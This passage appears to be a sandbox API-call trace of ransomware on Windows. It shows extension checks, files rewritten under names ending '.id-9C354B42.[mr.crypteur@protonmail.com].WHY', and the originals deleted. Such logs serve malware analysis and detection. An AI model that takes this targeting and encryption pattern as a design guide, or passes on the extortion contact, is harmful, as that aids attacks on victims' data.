(lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.213] lstrlenW (lpString=".doc") returned 4 [0208.213] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.213] lstrlenW (lpString=".docx") returned 5 [0208.213] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.213] lstrlenW (lpString=".pdf") returned 4 [0208.213] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.213] lstrlenW (lpString=".xls") returned 4 [0208.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.213] lstrlenW (lpString=".xlsx") returned 5 [0208.213] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.214] lstrlenW (lpString=".ppt") returned 4 [0208.214] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.214] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.214] lstrlenW (lpString=".zip") returned 4 [0208.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.214] lstrlenW (lpString=".rar") returned 4 [0208.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.214] lstrlenW (lpString=".bz2") returned 4 [0208.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.214] lstrlenW (lpString=".7z") returned 3 [0208.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.214] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.214] lstrlenW (lpString=".dbf") returned 4 [0208.215] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.215] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.215] lstrlenW (lpString=".1cd") returned 4 [0208.215] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.215] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.215] lstrlenW (lpString=".jpg") returned 4 [0208.215] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.215] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.215] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.215] lstrlenW (lpString=".doc") returned 4 [0208.215] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.215] lstrlenW (lpString=".docx") returned 5 [0208.215] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.216] lstrlenW (lpString=".pdf") returned 4 [0208.216] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.216] lstrlenW (lpString=".xls") returned 4 [0208.216] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.216] lstrlenW (lpString=".xlsx") returned 5 [0208.216] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.216] lstrlenW (lpString=".ppt") returned 4 [0208.216] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.216] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.216] lstrlenW (lpString=".zip") returned 4 [0208.216] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.216] lstrlenW (lpString=".rar") returned 4 [0208.217] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.217] lstrlenW (lpString=".bz2") returned 4 [0208.217] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.217] lstrlenW (lpString=".7z") returned 3 [0208.217] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.217] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.217] lstrlenW (lpString=".dbf") returned 4 [0208.217] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.217] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.217] lstrlenW (lpString=".1cd") returned 4 [0208.217] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.217] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.217] lstrlenW (lpString=".jpg") returned 4 [0208.217] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.218] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0208.218] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0208.218] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.219] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=75344) returned 1 [0208.219] CloseHandle (hObject=0x278) returned 1 [0208.220] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0208.220] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.220] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.220] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.220] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.220] lstrlenW (lpString=".doc") returned 4 [0208.220] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.220] lstrlenW (lpString=".docx") returned 5 [0208.220] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.221] lstrlenW (lpString=".pdf") returned 4 [0208.221] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.221] lstrlenW (lpString=".xls") returned 4 [0208.221] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.221] lstrlenW (lpString=".xlsx") returned 5 [0208.221] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.221] lstrlenW (lpString=".ppt") returned 4 [0208.221] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.221] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.221] lstrlenW (lpString=".zip") returned 4 [0208.221] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.221] lstrlenW (lpString=".rar") returned 4 [0208.221] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.222] lstrlenW (lpString=".bz2") returned 4 [0208.222] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.222] lstrlenW (lpString=".7z") returned 3 [0208.222] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.480] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.480] lstrlenW (lpString=".dbf") returned 4 [0208.480] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.480] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.480] lstrlenW (lpString=".1cd") returned 4 [0208.480] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.480] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.480] lstrlenW (lpString=".jpg") returned 4 [0208.480] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.481] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.481] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.481] lstrlenW (lpString=".doc") returned 4 [0208.481] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.481] lstrlenW (lpString=".docx") returned 5 [0208.481] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.481] lstrlenW (lpString=".pdf") returned 4 [0208.481] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.481] lstrlenW (lpString=".xls") returned 4 [0208.481] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.481] lstrlenW (lpString=".xlsx") returned 5 [0208.481] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.481] lstrlenW (lpString=".ppt") returned 4 [0208.481] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.482] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.482] lstrlenW (lpString=".zip") returned 4 [0208.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.482] lstrlenW (lpString=".rar") returned 4 [0208.482] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.482] lstrlenW (lpString=".bz2") returned 4 [0208.482] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.482] lstrlenW (lpString=".7z") returned 3 [0208.482] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.482] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.482] lstrlenW (lpString=".dbf") returned 4 [0208.482] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.483] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.483] lstrlenW (lpString=".1cd") returned 4 [0208.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.483] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0208.483] lstrlenW (lpString=".jpg") returned 4 [0208.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.483] lstrcmpiW (lpString1=".EXE", lpString2=".WHY") returned -1 [0208.484] lstrlenW (lpString="DW20.EXE") returned 8 [0208.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0208.744] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=994184) returned 1 [0208.745] CloseHandle (hObject=0x2b0) returned 1 [0208.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0208.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0208.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0208.746] lstrlenW (lpString=".doc") returned 4 [0208.746] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0208.746] lstrlenW (lpString=".docx") returned 5 [0208.746] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0208.746] lstrlenW (lpString=".pdf") returned 4 [0208.746] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0208.746] lstrlenW (lpString=".xls") returned 4 [0208.746] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0208.746] lstrlenW (lpString=".xlsx") returned 5 [0208.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0208.746] lstrlenW (lpString=".ppt") returned 4 [0208.746] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0208.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0208.747] lstrlenW (lpString=".zip") returned 4 [0208.747] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0208.747] lstrlenW (lpString=".rar") returned 4 [0208.747] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0208.747] lstrlenW (lpString=".bz2") returned 4 [0208.747] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0208.747] lstrlenW (lpString=".7z") returned 3 [0208.747] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0208.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0211.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0215.256] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=320384) returned 1 [0215.257] CloseHandle (hObject=0x2d0) returned 1 [0215.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0215.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0216.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0222.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0222.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0222.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0222.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0222.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0226.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0228.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.681] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=318488) returned 1 [0229.681] CloseHandle (hObject=0x2d0) returned 1 [0229.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0229.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.951] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.951] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0233.095] GetLastError () returned 0x0 [0233.096] ReadFile (in: hFile=0x390, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x246a, lpOverlapped=0x0) returned 1 [0233.597] WriteFile (in: hFile=0x394, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0233.600] ReadFile (in: hFile=0x390, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.600] WriteFile (in: hFile=0x394, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.600] SetEndOfFile (hFile=0x394) returned 1 [0233.616] CloseHandle (hObject=0x394) returned 1 [0233.618] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.618] SetEndOfFile (hFile=0x390) returned 1 [0233.794] CloseHandle (hObject=0x390) returned 1 [0233.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0233.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.890] lstrlenW (lpString=".doc") returned 4 [0233.890] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.890] lstrlenW (lpString=".docx") returned 5 [0233.890] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.890] lstrlenW (lpString=".pdf") returned 4 [0233.890] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.890] lstrlenW (lpString=".xls") returned 4 [0233.890] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.890] lstrlenW (lpString=".xlsx") returned 5 [0233.890] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.891] lstrlenW (lpString=".ppt") returned 4 [0233.891] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.891] lstrlenW (lpString=".zip") returned 4 [0233.891] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.891] lstrlenW (lpString=".rar") returned 4 [0233.891] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.891] lstrlenW (lpString=".bz2") returned 4 [0233.891] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.891] lstrlenW (lpString=".7z") returned 3 [0233.891] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.891] lstrlenW (lpString=".dbf") returned 4 [0233.892] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.892] lstrlenW (lpString=".1cd") returned 4 [0233.892] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.892] lstrlenW (lpString=".jpg") returned 4 [0233.892] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0233.892] lstrlenW (lpString=".doc") returned 4 [0233.892] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.893] lstrlenW (lpString=".docx") returned 5 [0233.893] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.893] lstrlenW (lpString=".pdf") returned 4 [0233.893] lstrcmpiW (lpString1=".pdf", 